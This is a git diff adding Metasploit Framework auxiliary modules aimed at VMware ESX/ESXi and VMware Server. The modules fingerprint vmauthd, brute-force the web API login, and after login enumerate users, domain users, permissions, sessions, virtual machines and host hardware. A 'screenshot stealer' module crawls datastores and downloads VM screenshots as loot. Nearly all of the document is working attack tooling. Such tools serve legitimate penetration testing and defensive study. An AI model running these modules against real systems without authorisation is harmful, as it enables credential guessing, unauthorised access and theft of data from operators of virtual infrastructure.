diff --git a/modules/auxiliary/scanner/vmware/vmauthd_version.rb b/modules/auxiliary/scanner/vmware/vmauthd_version.rb new file mode 100644 index 0000000000..39e8f67ba2 --- /dev/null +++ b/modules/auxiliary/scanner/vmware/vmauthd_version.rb @@ -0,0 +1,135 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core/exploit/tcp' + +class Metasploit3 < Msf::Auxiliary + + include Exploit::Remote::Tcp + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + @@cached_rsa_key = nil + + def initialize + super( + 'Name' => 'VMWare Authentication Daemon Version Scanner', + 'Version' => '$Revision$', + 'Description' => %q{ + This module will identify information about a host through the + vmauthd service. + }, + 'Author' => ['TheLightCosine ', 'hdm'], + 'License' => MSF_LICENSE + ) + + register_options([Opt::RPORT(902)]) + + end + + + + def run_host(ip) + begin + + connect rescue nil + if not self.sock + return + end + + banner = sock.get_once(-1, 10) + if not banner + print_error "#{rhost}:#{rport} No banner received from vmauthd" + return + end + + banner = banner.strip + + unless banner =~ /VMware Authentication Daemon/ + print_error "#{rhost}:#{rport} This does not appear to be a vmauthd service" + return + end + + cert = nil + + if banner =~ /SSL/ + print_status("#{rhost}:#{rport} Switching to SSL connection...") + swap_sock_plain_to_ssl + cert = self.sock.peer_cert + end + + if cert + banner << " Certificate:#{cert.subject.to_s}" + end + + print_status "#{rhost}:#{rport} Banner: #{banner}" + + report_service( + :host => rhost, + :port => rport, + :sname => 'vmauthd', + :info => banner, + :proto => 'tcp' + ) + + + rescue ::Interrupt + raise $! + ensure + disconnect + end + + end + + def do_login(user, pass, nsock=self.sock) + nsock.put("USER #{user}\r\n") + res = nsock.get_once + unless res.start_with? "331" + ret_msg = "Unexpected reply to the USER command: #{res}" + return ret_msg + end + nsock.put("PASS #{pass}\r\n") + res = nsock.get_once + if res.start_with? "530" + return :failed + elsif res.start_with? "230" + return :success + else + ret_msg = "Unexpected reply to the PASS command: #{res}" + return ret_msg + end + end + + def swap_sock_plain_to_ssl(nsock=self.sock) + ctx = generate_ssl_context() + ssl = OpenSSL::SSL::SSLSocket.new(nsock, ctx) + + ssl.connect + + nsock.extend(Rex::Socket::SslTcp) + nsock.sslsock = ssl + nsock.sslctx = ctx + end + + def generate_ssl_context + ctx = OpenSSL::SSL::SSLContext.new(:SSLv3) + @@cached_rsa_key ||= OpenSSL::PKey::RSA.new(1024){ } + + ctx.key = @@cached_rsa_key + + ctx.session_id_context = Rex::Text.rand_text(16) + + return ctx + end + + +end + diff --git a/modules/auxiliary/scanner/vmware/vmware_enum_permissions.rb b/modules/auxiliary/scanner/vmware/vmware_enum_permissions.rb new file mode 100644 index 0000000000..399ca91f31 --- /dev/null +++ b/modules/auxiliary/scanner/vmware/vmware_enum_permissions.rb @@ -0,0 +1,98 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + + +require 'msf/core' +require 'rex/proto/ntlm/message' + + +class Metasploit3 < Msf::Auxiliary + include Msf::Exploit::Remote::VIMSoap + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'VMWare Enumerate Permissions', + 'Version' => '$Revision$', + 'Description' => %Q{ + This module will log into the Web API of VMWare and try to enumerate + all the user/group permissions. Unlike enum suers this is only + users and groups that specifically have permissions defined within + the VMware product}, + 'Author' => ['TheLightCosine '], + 'License' => MSF_LICENSE + ) + + register_options( + [ + Opt::RPORT(443), + OptString.new('USERNAME', [ true, "The username to Authenticate with.", 'root' ]), + OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ]), + ], self.class) + end + + + def run_host(ip) + if vim_do_login(datastore['USERNAME'], datastore['PASSWORD']) == :success + role_map = {} + esx_roles = vim_get_roles + case esx_roles + when :noresponse + print_error "Recieved no Response from #{ip}" + when :expired + print_error "The login session appears to have expired on #{ip}" + when :error + print_error "An error occured while trying to enumerate the roles on #{ip}" + else + esx_roles.each do |role| + role_map[role['roleId']] = { + "name" => role['name'], + "system" => role['system'], + "summary" => role['info']['summary'] + } + end + end + + esx_permissions = vim_get_all_permissions + case esx_permissions + when :noresponse + print_error "Recieved no Response from #{ip}" + when :expired + print_error "The login session appears to have expired on #{ip}" + when :error + print_error "An error occured while trying to enumerate the permissions on #{ip}" + else + tmp_perms = Rex::Ui::Text::Table.new( + 'Header' => "Permissions for VMWare #{ip}", + 'Indent' => 1, + 'Columns' => ['Name', 'IsAGroup', 'Role', 'Role Summary'] + ) + esx_permissions.each do |perm| + role_name = role_map[perm['roleId']]['name'] + role_summary = role_map[perm['roleId']]['summary'] + tmp_perms << [perm['principal'], perm['group'], role_name , role_summary] + end + print_good tmp_perms.to_s + store_loot('host.vmware.permissions', "text/plain", datastore['RHOST'], tmp_perms.to_csv , "#{datastore['RHOST']}_esx_permissions.txt", "VMWare ESX Permissions") + end + else + print_error "Login Failure on #{ip}" + return + end + end + + + + +end + diff --git a/modules/auxiliary/scanner/vmware/vmware_enum_sessions.rb b/modules/auxiliary/scanner/vmware/vmware_enum_sessions.rb new file mode 100644 index 0000000000..40329a45b1 --- /dev/null +++ b/modules/auxiliary/scanner/vmware/vmware_enum_sessions.rb @@ -0,0 +1,80 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + + +require 'msf/core' +require 'rex/proto/ntlm/message' + + +class Metasploit3 < Msf::Auxiliary + include Msf::Exploit::Remote::VIMSoap + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'VMWare Enumerate Active Sessions', + 'Version' => '$Revision$', + 'Description' => %Q{ + This module will log into the Web API of VMWare and try to enumerate + all the login sessions.}, + 'Author' => ['TheLightCosine '], + 'License' => MSF_LICENSE + ) + + register_options( + [ + Opt::RPORT(443), + OptString.new('USERNAME', [ true, "The username to Authenticate with.", 'root' ]), + OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ]) + ], self.class) + end + + + def run_host(ip) + if vim_do_login(datastore['USERNAME'], datastore['PASSWORD']) == :success + vim_sessions = vim_get_session_list + case vim_sessions + when :noresponse + print_error "Connection Error - Recieved No Reply from #{ip}" + when :error + print_error "An error has occured" + when :expired + print_error "The Session is no longer Authenticated" + else + output = '' + vim_sessions.each do |vsession| + tmp_line = "Name: #{vsession['fullName']} \n\t" + tmp_line << "Active: #{vim_session_is_active(vsession['key'],vsession['userName'])} \n\t" + tmp_line << "Username: #{vsession['userName']}\n\t" + tmp_line << "Session Key: #{vsession['key']}\n\t" + tmp_line << "Locale: #{vsession['locale']}\n\t" + tmp_line << "Login Time: #{vsession['loginTime']}\n\t" + tmp_line << "Last Active Time: #{vsession['lastActiveTime']}\n\n" + print_good tmp_line + output << tmp_line + end + unless output.empty? + store_loot("host.vmware.sessions", "text/plain", datastore['RHOST'], output, "vmware_sessions.txt", "Login Sessions for VMware") + end + end + else + print_error "Login Failure on #{ip}" + return + end + end + + + + +end + diff --git a/modules/auxiliary/scanner/vmware/vmware_enum_users.rb b/modules/auxiliary/scanner/vmware/vmware_enum_users.rb new file mode 100644 index 0000000000..abed4413ec --- /dev/null +++ b/modules/auxiliary/scanner/vmware/vmware_enum_users.rb @@ -0,0 +1,140 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + + +require 'msf/core' +require 'rex/proto/ntlm/message' + + +class Metasploit3 < Msf::Auxiliary + include Msf::Exploit::Remote::VIMSoap + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'VMWare Enumerate User Accounts', + 'Version' => '$Revision$', + 'Description' => %Q{ + This module will log into the Web API of VMWare and try to enumerate + all the user accounts. If the VMware instance is connected to one or + more domains, it will try to enumerate domain users as well.}, + 'Author' => ['TheLightCosine '], + 'License' => MSF_LICENSE + ) + + register_options( + [ + Opt::RPORT(443), + OptString.new('USERNAME', [ true, "The username to Authenticate with.", 'root' ]), + OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ]) + ], self.class) + end + + + def run_host(ip) + if vim_do_login(datastore['USERNAME'], datastore['PASSWORD']) == :success + #Get local Users and Groups + user_list = vim_get_user_list(nil) + tmp_users = Rex::Ui::Text::Table.new( + 'Header' => "Users for server #{ip}", + 'Indent' => 1, + 'Columns' => ['Name', 'Description'] + ) + tmp_groups = Rex::Ui::Text::Table.new( + 'Header' => "Groups for server #{ip}", + 'Indent' => 1, + 'Columns' => ['Name', 'Description'] + ) + unless user_list.nil? + case user_list + when :noresponse + print_error "Recieved no Response from #{ip}" + when :expired + print_error "The login session appears to have expired on #{ip}" + when :error + print_error "An error occured while trying to enumerate the users for #{domain} on #{ip}" + else + user_list.each do |obj| + if obj['group'] == 'true' + tmp_groups << [obj['principal'], obj['fullName']] + else + tmp_users << [obj['principal'], obj['fullName']] + end + end + print_good tmp_groups.to_s + store_loot('host.vmware.groups', "text/plain", datastore['RHOST'], tmp_groups.to_csv , "#{datastore['RHOST']}_esx_groups.txt", "VMWare ESX User Groups") + print_good tmp_users.to_s + store_loot('host.vmware.users', "text/plain", datastore['RHOST'], tmp_users.to_csv , "#{datastore['RHOST']}_esx_users.txt", "VMWare ESX Users") + end + end + + #Enumerate Domains the Server is connected to + esx_domains = vim_get_domains + case esx_domains + when :noresponse + print_error "Recieved no Response from #{ip}" + when :expired + print_error "The login session appears to have expired on #{ip}" + when :error + print_error "An error occured while trying to enumerate the domains on #{ip}" + else + #Enumerate Domain Users and Groups + esx_domains.each do |domain| + tmp_dusers = Rex::Ui::Text::Table.new( + 'Header' => "Users for domain #{domain}", + 'Indent' => 1, + 'Columns' => ['Name', 'Description'] + ) + + tmp_dgroups = Rex::Ui::Text::Table.new( + 'Header' => "Groups for domain #{domain}", + 'Indent' => 1, + 'Columns' => ['Name', 'Description'] + ) + + user_list = vim_get_user_list(domain) + case user_list + when nil + next + when :noresponse + print_error "Recieved no Response from #{ip}" + when :expired + print_error "The login session appears to have expired on #{ip}" + when :error + print_error "An error occured while trying to enumerate the users for #{domain} on #{ip}" + else + user_list.each do |obj| + if obj['group'] == 'true' + tmp_dgroups << [obj['principal'], obj['fullName']] + else + tmp_dusers << [obj['principal'], obj['fullName']] + end + end + print_good tmp_dgroups.to_s + store_loot('domain.groups', "text/plain", datastore['RHOST'], tmp_dgroups.to_csv , "#{domain}_esx_groups.txt", "VMWare ESX #{domain} Domain User Groups") + print_good tmp_dusers.to_s + store_loot('domain.users', "text/plain", datastore['RHOST'], tmp_dgroups.to_csv , "#{domain}_esx_users.txt", "VMWare ESX #{domain} Domain Users") + end + end + end + else + print_error "Login Failure on #{ip}" + return + end + end + + + + +end + diff --git a/modules/auxiliary/scanner/vmware/vmware_enum_vms.rb b/modules/auxiliary/scanner/vmware/vmware_enum_vms.rb new file mode 100644 index 0000000000..ddc53d057f --- /dev/null +++ b/modules/auxiliary/scanner/vmware/vmware_enum_vms.rb @@ -0,0 +1,90 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + + +require 'msf/core' +require 'msf/core/exploit/vim_soap' + + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::VIMSoap + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'VMWare Enumerate Virtual Machines', + 'Description' => %Q{ + This module attempts to discover virtual machines on any VMWare instance + running the web interface. This would include ESX/ESXi and VMWare Server.}, + 'Author' => ['TheLightCosine '], + 'License' => MSF_LICENSE + ) + + register_options( + [ + Opt::RPORT(443), + OptString.new('USERNAME', [ true, "The username to Authenticate with.", 'root' ]), + OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ]), + OptBool.new('SCREENSHOT', [true, "Wheter or not to try to take a screenshot", true]) + ], self.class) + end + + def run_host(ip) + + if vim_do_login(datastore['USERNAME'], datastore['PASSWORD']) == :success + virtual_machines = vim_get_vms + virtual_machines.each do |vm| + print_good YAML.dump(vm) + report_note( + :host => rhost, + :type => "vmware.esx.vm", + :data => vm, + :port => rport, + :proto => 'tcp', + :update => :unique_data + ) + next unless datastore['SCREENSHOT'] and vm['runtime']['powerState'] == 'poweredOn' + print_status "Attempting to take screenshot of #{vm['name']}...." + screenshot = vim_take_screenshot(vm, datastore['USERNAME'], datastore['PASSWORD'] ) + case screenshot + when :error + print_error "Screenshot failed" + next + when :expired + vim_do_login(datastore['USERNAME'], datastore['PASSWORD']) + retry_result = vim_take_screenshot(vm, datastore['USERNAME'], datastore['PASSWORD'] ) + if retry_result == :error or retry_result == :expired + print_error "Screenshot failed" + else + ss_path = store_loot("host.vmware.screenshot", "image/png", datastore['RHOST'], retry_result, "#{vm['name']}_screenshot.png", "Screenshot of VM #{vm['name']}") + print_good "Screenshot Saved to #{ss_path}" + end + else + ss_path = store_loot("host.vmware.screenshot", "image/png", datastore['RHOST'], screenshot, "screenshot.png", "Screenshot of VM #{vm['name']}") + print_good "Screenshot Saved to #{ss_path}" + end + end + store_loot('host.vmware.vms', "text/plain", datastore['RHOST'], YAML.dump(virtual_machines) , "#{datastore['RHOST']}_esx_vms.txt", "VMWare ESX Virtual Machines") + else + print_error "Login Failure on #{ip}" + return + end + end + + + + + +end + diff --git a/modules/auxiliary/scanner/vmware/vmware_host_details.rb b/modules/auxiliary/scanner/vmware/vmware_host_details.rb new file mode 100644 index 0000000000..b5ff83cbe0 --- /dev/null +++ b/modules/auxiliary/scanner/vmware/vmware_host_details.rb @@ -0,0 +1,64 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + + +require 'msf/core' +require 'msf/core/exploit/vim_soap' + + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::VIMSoap + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'VMWare Enumerate Host Details', + 'Version' => '$Revision$', + 'Description' => %Q{ + This module attempts to enumerate information about the host systems through the VMWare web API. + This can include information about the hardware installed on the host machine.}, + 'Author' => ['TheLightCosine '], + 'License' => MSF_LICENSE + ) + + register_options( + [ + Opt::RPORT(443), + OptString.new('USERNAME', [ true, "The username to Authenticate with.", 'root' ]), + OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ]), + OptBool.new('HW_DETAILS', [true, "Enumerate the Hardware on the system as well?", false]) + ], self.class) + end + + def run_host(ip) + + if vim_do_login(datastore['USERNAME'], datastore['PASSWORD']) == :success + output = "VMWare Host at #{ip} details\n" + output << "-----------------------------\n" + host_summary = vim_get_all_host_summary(datastore['HW_DETAILS']) + output << YAML.dump(host_summary) + print_good output + store_loot('vmware_host_details', "text/plain", datastore['RHOST'], output, "#{datastore['RHOST']}_vmware_host.txt", "VMWare Host Details") + else + print_error "Login Failure on #{ip}" + return + end + end + + + + + +end + diff --git a/modules/auxiliary/scanner/vmware/vmware_http_login.rb b/modules/auxiliary/scanner/vmware/vmware_http_login.rb index b8c005a93f..8df8869c5c 100644 --- a/modules/auxiliary/scanner/vmware/vmware_http_login.rb +++ b/modules/auxiliary/scanner/vmware/vmware_http_login.rb @@ -15,19 +15,18 @@ require 'rex/proto/ntlm/message' class Metasploit3 < Msf::Auxiliary - + include Msf::Exploit::Remote::VIMSoap include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report include Msf::Auxiliary::AuthBrute - include Msf::Auxiliary::Scanner def initialize super( 'Name' => 'VMWare Web Login Scanner', 'Version' => '$Revision$', - 'Description' => 'This module attempts to authenticate to the VMWare HTTP service - for VMWare Server, ESX, and ESXi', + 'Description' => 'This module attempts to authenticate to the VMWare HTTP service + for VmWare Server, ESX, and ESXI', 'Author' => ['TheLightCosine '], 'References' => [ @@ -38,96 +37,98 @@ class Metasploit3 < Msf::Auxiliary register_options( [ + OptString.new('URI', [true, "The default URI to login with", "/sdk"]), Opt::RPORT(443) ], self.class) end + def run_host(ip) - - return unless check(ip) - + return unless check each_user_pass { |user, pass| - result = do_login(user, pass) + result = vim_do_login(user, pass) case result when :success - print_good "#{ip}:#{rport} - Successful Login! (#{user}:#{pass})" + print_good "#{rhost}:#{rport} - Successful Login! (#{user}:#{pass})" report_auth_info( :host => rhost, :port => rport, :user => user, :pass => pass, - :proto => 'tcp', - :sname => 'https', :source_type => "user_supplied", :active => true ) return if datastore['STOP_ON_SUCCESS'] when :fail - print_error "#{ip}:#{rport} - Login Failure (#{user}:#{pass})" + print_error "#{rhost}:#{rport} - Login Failure (#{user}:#{pass})" end } end + # Mostly taken from the Apache Tomcat service validator - def check(ip) - datastore['URI'] ||= "/sdk" - user = Rex::Text.rand_text_alpha(8) - pass = Rex::Text.rand_text_alpha(8) + def check + soap_data = + %Q| + + + <_this type="ServiceInstance">ServiceInstance + + + | + begin res = send_request_cgi({ 'uri' => datastore['URI'], 'method' => 'POST', 'agent' => 'VMware VI Client', - 'data' => gen_soap_data(user,pass) + 'data' => soap_data }, 25) + if res - fp = http_fingerprint({ :response => res }) - if fp =~ /VMWare/ - report_service(:host => rhost, :port => rport, :proto => 'tcp', :sname => 'https', :info => fp) - return true - else - vprint_error("http://#{ip}:#{rport} - Could not identify as VMWare") - return false - end + fingerprint_vmware(res) else - vprint_error("http://#{ip}:#{rport} - No response") + vprint_error("#{rhost}:#{rport} Error: no response") end + rescue ::Rex::ConnectionError => e - vprint_error("http://#{ip}:#{rport}#{datastore['URI']} - #{e}") + vprint_error("#{rhost}:#{rport} Error: could not connect") return false rescue - vprint_error("Skipping #{ip} due to error - #{e}") + vprint_error("#{rhost}:#{rport} Error: #{e}") return false end end - - def gen_soap_data(user,pass) - soap_data = [] - soap_data << '' - soap_data << ' ' - soap_data << ' ' - soap_data << ' <_this type="SessionManager">ha-sessionmgr' - soap_data << ' ' + user.to_s + '' - soap_data << ' ' + pass.to_s + '' - soap_data << ' ' - soap_data << ' ' - soap_data << '' - soap_data.join - end - - def do_login(user, pass) - res = send_request_cgi({ - 'uri' => '/sdk', - 'method' => 'POST', - 'agent' => 'VMware VI Client', - 'data' => gen_soap_data(user,pass) - }, 25) - if res.code == 200 - return :success - else - return :fail + + def fingerprint_vmware(res) + unless res + vprint_error("#{rhost}:#{rport} Error: no response") + return false end + return false unless res.body.include?('VMware, Inc.') + + os_match = res.body.match(/([\w\s]+)<\/name>/) + ver_match = res.body.match(/([\w\s\.]+)<\/version>/) + build_match = res.body.match(/([\w\s\.\-]+)<\/build>/) + full_match = res.body.match(/([\w\s\.\-]+)<\/fullName>/) + + if full_match + print_good "#{rhost}:#{rport} - Identified #{full_match[1]}" + report_service(:host => rhost, :port => rport, :proto => 'tcp', :sname => 'https', :info => full_match[1]) + end + + if os_match and ver_match and build_match + if os_match[1] =~ /ESX/ or os_match[1] =~ /vCenter/ + this_host = report_host( :host => rhost, :os_name => os_match[1], :os_flavor => ver_match[1], :os_sp => "Build #{build_match[1]}" ) + end + return true + else + vprint_error("#{rhost}:#{rport} Error: Could not identify as VMWare") + return false + end + end + end diff --git a/modules/auxiliary/scanner/vmware/vmware_screenshot_stealer.rb b/modules/auxiliary/scanner/vmware/vmware_screenshot_stealer.rb new file mode 100644 index 0000000000..951b519cb2 --- /dev/null +++ b/modules/auxiliary/scanner/vmware/vmware_screenshot_stealer.rb @@ -0,0 +1,111 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + + +require 'msf/core' +require 'msf/core/exploit/vim_soap' + + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::VIMSoap + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'VMWare Screenshot Stealer', + 'Version' => '$Revision$', + 'Description' => %Q{ + This module uses supplied login credentials to connect to VMWare via + the web interface. It then searches through the datastores looking for screenshots. + It will downlaod any screenshots it finds and save them as loot.}, + 'Author' => ['TheLightCosine '], + 'License' => MSF_LICENSE + ) + + register_options( + [ + Opt::RPORT(443), + OptString.new('USERNAME', [ true, "The username to Authenticate with.", 'root' ]), + OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ]) + ], self.class) + end + + def run_host(ip) + if vim_do_login(datastore['USERNAME'], datastore['PASSWORD']) == :success + @user_pass = Rex::Text.encode_base64(datastore['USERNAME'] + ":" + datastore['PASSWORD']) + crawl_page('/folder') + else + print_error "Login Failure on #{ip}" + return + end + end + + + + def crawl_page(path, parent='') + res = send_request_cgi({ + 'uri' => path, + 'method' => 'GET', + 'cookie' => @vim_cookie, + 'headers' => { 'Authorization' => "Basic #{@user_pass}"} + }, 25) + if res + @vim_cookie = res.headers['Set-Cookie'] + if res.code== 200 + res.body.scan(//) do |match| + link = match[0] + link.gsub!('&', '&') + case link + when /%2epng?/ + img_name = Rex::Text::uri_decode(link.match(/\/([\w\?=&;%]+%2epng)/)[1]) + print_good "Screenshot Found: #{img_name} Full Path: #{link}" + grab_screenshot(link, img_name) + when /%2e(?!png)/ + next + when parent + next + else + crawl_page(link, path) + end + end + elsif res.code == 401 + print_error "Authorization Failure for: #{path}" + end + end + end + + def grab_screenshot(path, name) + res = send_request_cgi({ + 'uri' => path, + 'method' => 'GET', + 'cookie' => @vim_cookie, + 'headers' => { 'Authorization' => "Basic #{@user_pass}"} + }, 25) + if res + @vim_cookie = res.headers['Set-Cookie'] + if res.code == 200 + img = res.body + ss_path = store_loot("host.vmware.screenshot", "image/png", datastore['RHOST'], img, name , "Screenshot of VM #{name}") + print_status "Screenshot saved to #{ss_path}" + else + print_error "Failed to retrieve screenshot at #{path} HTTP Response code #{res.code} " + end + else + print_error "Failed to retrieve screenshot: there was no reply" + end + + end + +end +